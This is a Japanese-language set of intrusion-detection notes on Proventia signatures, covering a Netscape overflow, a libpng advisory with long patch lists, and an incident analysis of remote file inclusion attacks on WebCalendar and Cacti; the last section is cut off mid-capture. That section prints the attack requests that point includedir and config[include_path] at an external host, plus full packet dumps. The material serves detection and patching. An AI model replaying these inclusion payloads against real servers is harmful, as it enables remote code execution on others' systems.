【Proventia】HTTP_Netscape_Method_Overflow

■シグネチャの説明
iPlanet Netscape Enterprise Server HTTP method name buffer overflow
http://www.iss.net/security_center/static/7320.php

■参照事項
Digizen Security Group advisory, 2001
Netscape Enterprise Server 4 Method and URI overflow
http://online.securityfocus.com/archive/1/185550

Important iPlanet Web Server 4.1 SP 3-7 Product Alert: May 11, 2001
Recommend Immediate Patch/Upgrade
http://iplanet.com/products/iplanet_web_enterprise/iwsalert5.11.html

CVE
CAN-2001-0747
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0747

■実証コード

C:\>1.pl 192.168.221.180 80
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0

Date: Sun, 11 Dec 2005 02:15:44 GMT

Content-Type: text/html

Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body></html>
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0

Date: Sun, 11 Dec 2005 02:15:59 GMT

Content-Type: text/html

Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body></html>

【Proventia】Image_PNG_tRNS_BO

libpng png_handle_sBIT and png_handle_tRNS buffer overflow
libpng-pnghandle-bo (16894) High Risk

Description:

libpng is a Portable Network Graphics (PNG) library for Unix platforms. libpng is vulnerable to a buffer overflow in the png_handle_sBIT and png_handle_tRNS functions, caused by improper bounds checking. By creating a specially-crafted PNG image, a remote attacker could overflow a buffer and cause the program to crash or possibly execute arbitrary code on the system, once the image is processed by libpng.

Platforms Affected:

Conectiva: Conectiva Linux 10
Conectiva: Conectiva Linux 8.0
Conectiva: Conectiva Linux 9.0
Debian: Debian Linux 3.0
Gentoo Technologies, Inc.: Gentoo Linux Any version
GNOME Project: GNOME 2.0
Hewlett-Packard Company: Compaq Tru64 UNIX 5.1a
Hewlett-Packard Company: Compaq Tru64 UNIX 5.1b
libpng project: libpng Any version
MandrakeSoft, Inc.: Mandrake Linux 10.0
MandrakeSoft, Inc.: Mandrake Linux 9.1
MandrakeSoft, Inc.: Mandrake Linux 9.2
MandrakeSoft, Inc.: Mandrake Linux Corporate Server 2.1
MandrakeSoft, Inc.: Mandrake Multi Network Firewall 8.2
Netscape Communications, Inc.: Netscape 7.0
OpenPKG Project: OpenPKG 2.0
OpenPKG Project: OpenPKG 2.1
OpenPKG Project: OpenPKG CURRENT
Red Hat, Inc.: Red Hat Advanced Workstation 2.1
Red Hat, Inc.: Red Hat Desktop 3
Red Hat, Inc.: Red Hat Enterprise Linux 2.1AS
Red Hat, Inc.: Red Hat Enterprise Linux 2.1ES
Red Hat, Inc.: Red Hat Enterprise Linux 2.1WS
Red Hat, Inc.: Red Hat Enterprise Linux 3AS
Red Hat, Inc.: Red Hat Enterprise Linux 3ES
Red Hat, Inc.: Red Hat Enterprise Linux 3WS
Santa Cruz Operation, Inc.: SCO UnixWare 7.1.4
Slackware: Slackware Linux 10.0
Slackware: Slackware Linux 8.1
Slackware: Slackware Linux 9.0
Slackware: Slackware Linux 9.1
Slackware: Slackware Linux current
Sun Microsystems: Solaris 7
Sun Microsystems: Solaris 8
Sun Microsystems: Solaris 9
Sun Microsystems: Sun JDS 2003
Sun Microsystems: Sun JDS Release 2
SuSE: SuSE eMail Server 3.1
SuSE: SuSE eMail Server III Any version
SuSE: SuSE Linux 8.0
SuSE: SuSE Linux 8.1
SuSE: SuSE Linux 8.2
SuSE: SuSE Linux 9.0
SuSE: SuSE Linux 9.1
SuSE: SuSE Linux Connectivity Server Any version
SuSE: SuSE Linux Database Server Any version
SuSE: SuSE Linux Enterprise Server 7
SuSE: SuSE Linux Enterprise Server 8
SuSE: SuSE Linux Firewall Any version
SuSE: SuSE Linux Office Server Any version
Trustix: Trustix Secure Enterprise Linux 2
Trustix: Trustix Secure Linux 2.0
Trustix: Trustix Secure Linux 2.1
TurboLinux, Inc.: Turbolinux 10 Desktop
TurboLinux, Inc.: Turbolinux 7 Server
TurboLinux, Inc.: Turbolinux 7 Workstation
TurboLinux, Inc.: Turbolinux 8 Server
TurboLinux, Inc.: Turbolinux 8 Workstation
TurboLinux, Inc.: Turbolinux Appliance Server 1.0
TurboLinux, Inc.: TurboLinux Advanced Server 6
TurboLinux, Inc.: Turbolinux Server 6.1
TurboLinux, Inc.: Turbolinux Server 6.5
TurboLinux, Inc.: Turbolinux Workstation 6.0

Remedy:

For Microsoft Windows:
Apply the appropriate patch for your system, as listed in Microsoft Security Bulletin MS05-009. See References.

For Red Hat Linux:
Upgrade to the latest libpng package, as listed below. Refer to Red Hat Security Advisory RHSA-2004:402-08 for more information. See References.

Red Hat Enterprise Linux AS (v. 3), ES (v. 3), WS (v. 3) and Red Hat Desktop 3: 1.2.2-25 or later
Red Hat Enterprise Linux AS (v. 2.1), ES (v. 2.1), WS (v. 2.1) and Red Hat Linux Advanced Workstation 2.1: 1.0.14-7 or later

Upgrade to the latest mozilla package, as listed below. Refer to Red Hat Security Advisory RHSA-2004:421-17 for more information. See References.

Red Hat Enterprise Linux AS (v. 2.1), ES (v. 2.1), WS (v. 2.1), and Red Hat Linux Advanced Workstation 2.1 for the Itanium Processor: 1.4.3-2.1.2 or later
Red Hat Enterprise Linux AS (v. 3), ES (v. 3), WS (v. 3), Desktop: 1.4.3-3.0.2.x86_64 or later

For OpenPKG:
Upgrade to the latest libpng package, as listed below. Refer to OpenPKG Security Advisory OpenPKG-SA-2004.035-png for more information. See References.

OpenPKG CURRENT: 1.2.5-20040804 or later
OpenPKG 2.0: 1.2.5-2.1.1 or later
OpenPKG 2.1: 1.2.5-2.0.3 or later

For SuSE Linux:
Upgrade to the latest libpng package, as listed below. Refer to SuSE Security Announcement SUSE-SA:2004:023 for more information. See References.

SuSE Linux 9.1: 1.2.5-182.7 or later
SuSE Linux 9.0 and 8.2: 1.2.5-191 or later
SuSE Linux 8.0: 2.1.0.12-169 or later
SuSE Linux 8.1: 2.2.8a-218 or later

For Mandrake Linux:
Upgrade to the latest libpng package, as listed below. Refer to MandrakeSoft Security Advisory MDKSA-2004:079 : libpng for more information. See References.

Mandrake Linux 9.1: 1.2.5-2.5.91mdk or later
Mandrake Linux 9.2: 1.2.5-7.5.92mdk or later
Mandrake Linux Multi Network Firewall 8.2: 1.2.4-3.7.M82mdk or later
Mandrake Linux Corporate Server 2.1:1.2.4-3.7.C21mdk or later
Mandrake Linux 10.0: 1.2.5-10.5.100mdk or later

Upgrade to the latest mozilla package, as listed below. Refer to MandrakeSoft Security Advisory MDKSA-2004:082 : mozilla for more information. See References.

Mandrake Linux 9.2:1.4-13.3.92mdk or later
Mandrake Linux 10.0: 1.6-12.1.100mdk or later

For Debian GNU/Linux 3.0 (alias woody):
Upgrade to the latest libpng package (1.0.12-3 or later), as listed in Debian Security Advisory DSA-536-1. See References.

For Gentoo Linux:
Upgrade to the latest version of libpng, as listed in Gentoo Linux Security Advisory GLSA 200408-03. See References.

For Trustix Secure Linux:
Upgrade to the latest libpng package, as listed below. Refer to Trustix Secure Linux Security Advisory #2004-0040 for more information. See References.

Trustix Secure Linux 2.0: 1.2.5-7tr or later
Trustix Secure Linux 2.1 and Enterprise Linux 2: 1.2.5-12tr or later

For Conectiva Linux:
Upgrade to the latest libpng package, as listed below. Refer to Conectiva Linux Security Announcement CLSA-2004:856 for more information. See References.

Conectiva Linux 10.0: 1.0.15-42714U10_1cl or later Conectiva Linux 8: 1.0.14-1U80_1cl or later Conectiva Linux 9: 1.0.15-22380U90_1cl or later

For HP Tru64 UNIX 5.1A and 5.1B:
Apply the appropriate Patches for your system, as listed in Hewlett-Packard Company Security Bulletin: HPSBTU01063. See References.

For Slackware Linux:
Upgrade to the latest libpng package, as listed below. Refer to slackware-security Mailing List, Mon, 9 Aug 2004 20:40:50 -0700 (PDT) and Tue, 10 Aug 2004 12:54:52 -0700 (PDT) for more information. See References.

Slackware Linux 8.1: 1.2.5-i386-1 or later
Slackware Linux 9.0 and 9.1:1.2.5-i486-3 or later
Slackware Linux 10.0 and -current: 1.2.5-i486-3 or later

For Slackware Linux:

Upgrade to the latest imagemagick package, as listed below. Refer to slackware-security Mailing List, Tue, 10 Aug 2004 14:26:39 -0700 (PDT) for more information. See References.

Slackware Linux 9.0 : 5.5.7_25-i486-1or later
Slackware Linux 10.0 and -current: 6.0.4_3-i486-1 or later

For Slackware Linux:

Upgrade to the latest mozilla package, as listed below. Refer to slackware-security Mailing List, Tue, 10 Aug 2004 14:17:12 -0700 (PDT) for more information. See References.

Slackware Linux 9.1: 1.4.3-i486-1 or later
Slackware Linux 10.0 and -current: 1.7.2-i486-1 or later

For Turbolinux:
Upgrade to the latest libpng package, as listed below. Refer to Turbolinux Security Advisory TLSA-2004-19 for more information. See References.

Turbolinux Appliance Server 1.0 Hosting Edition: 1.2.4-6 or later
Turbolinux Appliance Server 1.0 Workgroup Edition: 1.2.4-6 or later
Turbolinux 10 Desktop and Turbolinux 10 F: 1.2.5-7 or later
Tturbolinux 8 Server and 8 Workstation: 1.2.4-6 or later
Turbolinux 7 Server and 7 Workstation: 1.0.12-8 or later
Turbolinux Server 6.5 and Advanced Server 6: 1.0.12-8 or later
Turbolinux Server 6.1and Workstation 6.0: 1.0.12-8 or later

For Gentoo Linux:
Upgrade to the latest version of mozilla, as listed in Gentoo Linux Security Advisory GLSA 200408-22. See References.

For SCO UnixWare 7.1.4:
Upgrade to the appropriate fixed binaries, as listed in SCO Security Advisory SCOSA-2004.16. See References.

For Sun Solaris and Sun JDS:
Apply the appropriate patch for your system, as listed below. Refer to Sun Alert Notification 57617 for more information. See References.

SPARC Platform:
Solaris 8 GNOME 2.0 with patch 114816-02 or later
Solaris 9 GNOME 2.0 with patches 114818-06 or later and 114820-05 or later
Solaris 9 GNOME 2.0.2 with patch 114822-04 or later

Note: Both patches for GNOME 2.0 on Solaris 9 must be installed to resolve this issue (114818-06 is 32-bit; 114820-05 is 64-bit).

X86 Platform:
Solaris 8 GNOME 2.0 with patch 114817-02 or later
Solaris 9 GNOME 2.0 with patch 114819-06 or later

Linux Platform:
Sun Java Desktop Systems (JDS) release 2003 and JDS release 2 with the updated RPMs (patch-9279)

For Conectiva Linux:
Upgrade to the latest mozilla package, as listed below. Refer to Conectiva Linux Security Announcement CLSA-2004:877 for more information. See References.

Conectiva Linux 10.0: 1.7.3-60868U10_1cl or later
Conectiva Linux 9: 1.7.3-27852U90_4cl or later

For other distributions:
Contact your vendor for upgrade or patch information.

実証コード
http://downloads.securityfocus.com/vulnerabilities/exploits/libpng.c
http://downloads.securityfocus.com/vulnerabilities/exploits/msnMessengerPNGexploit.c

【Proventia】Image_JPEG_IE_Size_Overflow

■シグネチャの説明

http://xforce.iss.net/xforce/xfdb/21701

■References:

CIAC Information Bulletin P-265, Microsoft Cumulative Update for Internet Explorer at http://www.ciac.org/ciac/bulletins/p-265.shtml .
Microsoft Security Bulletin MS05-038, Cumulative Security Update for Internet Explorer (896727) at http://www.microsoft.com/technet/security/bulletin/ms05-038.mspx .
Microsoft Security Bulletin MS05-052, Cumulative Security Update for Internet Explorer (896688) at http://www.microsoft.com/technet/security/Bulletin/MS05-052.mspx .
US-CERT Vulnerability Note VU#965206, Microsoft Internet Explorer JPEG rendering library vulnerable to buffer overflow at http://www.kb.cert.org/vuls/id/965206 .

【情報】webcalendarとcactiのリモートコードインジェクション攻撃

■コメント
2つの特定の脆弱性に対する攻撃を検知しました。

1. WEB-CGI calendar access
2. WEB-MISC Phorecast remote code execution attempt

最初の攻撃は webcalendarと呼ばれる同様のカレンダーアプリケーションに向けられました、そして、
もう片方の攻撃は cactiと呼ばれるグラフ化アプリケーションを対象としました。
攻撃は両方を利用しました。
・webcalendarでは、これはこの実際の攻撃で見られるように includedirパラメタを利用して実行されている。

GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt

・cactiでは、コンフィグパラメタを利用して実行されている。

GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt

---------------------------
・t.txtファイル
---------------------------
<html>
<head>
<title>Vulner4bl3</title>
<? echo "VulnerabLe" ?>

比較的無害なファイル http://www.geocities.com/trustopt/t.txt の実行が試みられました。
今後攻撃者は、不正アクセスを目的とした悪質なコードの注入を試みる恐れがある。
以下が実際の攻撃パケットになります。

---------------------------
webcalendar攻撃
---------------------------
No. Time Source Destination Protocol Info
10986 2005-11-27 12:13:07.837369 xxx.203.134.100 xxx.87.152.38 HTTP GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 10986 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 52844 (52844), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 47 ae f4 40 00 30 06 6f 0f 41 cb 86 64 cb 57 .G..@.0.o.A..d.W
0020 98 26 ce 6c 00 50 38 09 35 e7 9b ac 1e 98 80 18 .&.l.P8.5.......
0030 16 d0 68 69 00 00 01 01 08 0a df 5b 9c 0b 00 00 ..hi.......[....
0040 00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64 ..GET /webcalend
0050 61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 ar/tools/send_re
0060 6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c minders.php?incl
0070 75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 udedir=http://ww
0080 77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f w.geocities.com/
0090 74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 trustopt/t.txt?
00a0 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 HTTP/1.1..Accept
00b0 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 : */*..Accept-La
00c0 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 nguage: en-us..A
00d0 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-Encoding:
00e0 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 gzip, deflate..U
00f0 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c ser-Agent: Mozil
0100 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 la/4.0 (compatib
0110 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 le; MSIE 6.0; Wi
0120 6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a ndows 98)..Host:
0130 20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a xxx.87.152.38..
0140 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 Connection: Clos
0150 65 0d 0a 0d 0a e....

No. Time Source Destination Protocol Info
11001 2005-11-27 12:13:11.443162 xxx.203.134.100 xxx.87.152.38 HTTP GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11001 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53291 (53291), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 47 22 6c 40 00 30 06 fb 97 41 cb 86 64 cb 57 .G"l@.0...A..d.W
0020 98 26 d0 2b 00 50 37 c8 80 9e 9b ba 73 2e 80 18 .&.+.P7.....s...
0030 16 d0 e0 01 00 00 01 01 08 0a df 5b a3 b9 00 00 ...........[....
0040 00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64 ..GET /WebCalend
0050 61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 ar/tools/send_re
0060 6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c minders.php?incl
0070 75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 udedir=http://ww
0080 77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f w.geocities.com/
0090 74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 trustopt/t.txt?
00a0 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 HTTP/1.1..Accept
00b0 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 : */*..Accept-La
00c0 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 nguage: en-us..A
00d0 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-Encoding:
00e0 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 gzip, deflate..U
00f0 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c ser-Agent: Mozil
0100 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 la/4.0 (compatib
0110 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 le; MSIE 6.0; Wi
0120 6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a ndows 98)..Host:
0130 20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a xxx.87.152.38..
0140 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 Connection: Clos
0150 65 0d 0a 0d 0a e....

No. Time Source Destination Protocol Info
11029 2005-11-27 12:13:12.862553 xxx.203.134.100 xxx.87.152.38 HTTP GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11029 (338 bytes on wire, 338 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53424 (53424), Dst Port: http (80), Seq: 1, Ack: 1, Len: 272
Hypertext Transfer Protocol
GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 44 48 dc 40 00 30 06 d5 2a 41 cb 86 64 cb 57 .DH.@.0..*A..d.W
0020 98 26 d0 b0 00 50 38 6a ed 62 9b c0 af 37 80 18 .&...P8j.b...7..
0030 16 d0 7e 2d 00 00 01 01 08 0a df 5b a6 4a 00 00 ..~-.......[.J..
0040 00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f ..GET /calendar/
0050 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e tools/send_remin
0060 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 ders.php?include
0070 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 dir=http://www.g
0080 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 eocities.com/tru
0090 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 stopt/t.txt? HTT
00a0 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a P/1.1..Accept: *
00b0 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 /*..Accept-Langu
00c0 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 age: en-us..Acce
00d0 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 pt-Encoding: gzi
00e0 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 p, deflate..User
00f0 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f -Agent: Mozilla/
0100 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 4.0 (compatible;
0110 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f MSIE 6.0; Windo
0120 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 ws 98)..Host: 20
0130 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 3.87.152.38..Con
0140 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a nection: Close..
0150 0d 0a ..

---------------------------
cacti攻撃
---------------------------
No. Time Source Destination Protocol Info
11015 2005-11-27 12:13:12.164792 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11015 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 53360 (53360), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e 21 35 40 00 30 06 fc c7 41 cb 86 64 cb 57 .N!5@.0...A..d.W
0020 98 26 d0 70 00 50 38 0a 85 55 9b bd e3 2f 80 18 .&.p.P8..U.../..
0030 16 d0 14 d2 00 00 01 01 08 0a df 5b a5 03 00 00 ...........[....
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....

No. Time Source Destination Protocol Info
11123 2005-11-27 12:13:17.389821 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11123 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 53855 (53855), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e ea e8 40 00 30 06 33 14 41 cb 86 64 cb 57 .N..@.0.3.A..d.W
0020 98 26 d2 5f 00 50 38 a2 44 ed 9b d4 88 b2 80 18 .&._.P8.D.......
0030 16 d0 a3 79 00 00 01 01 08 0a df 5b ae a3 00 00 ...y.......[....
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....

No. Time Source Destination Protocol Info
45438 2005-11-28 00:33:58.285129 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45438 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 59388 (59388), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
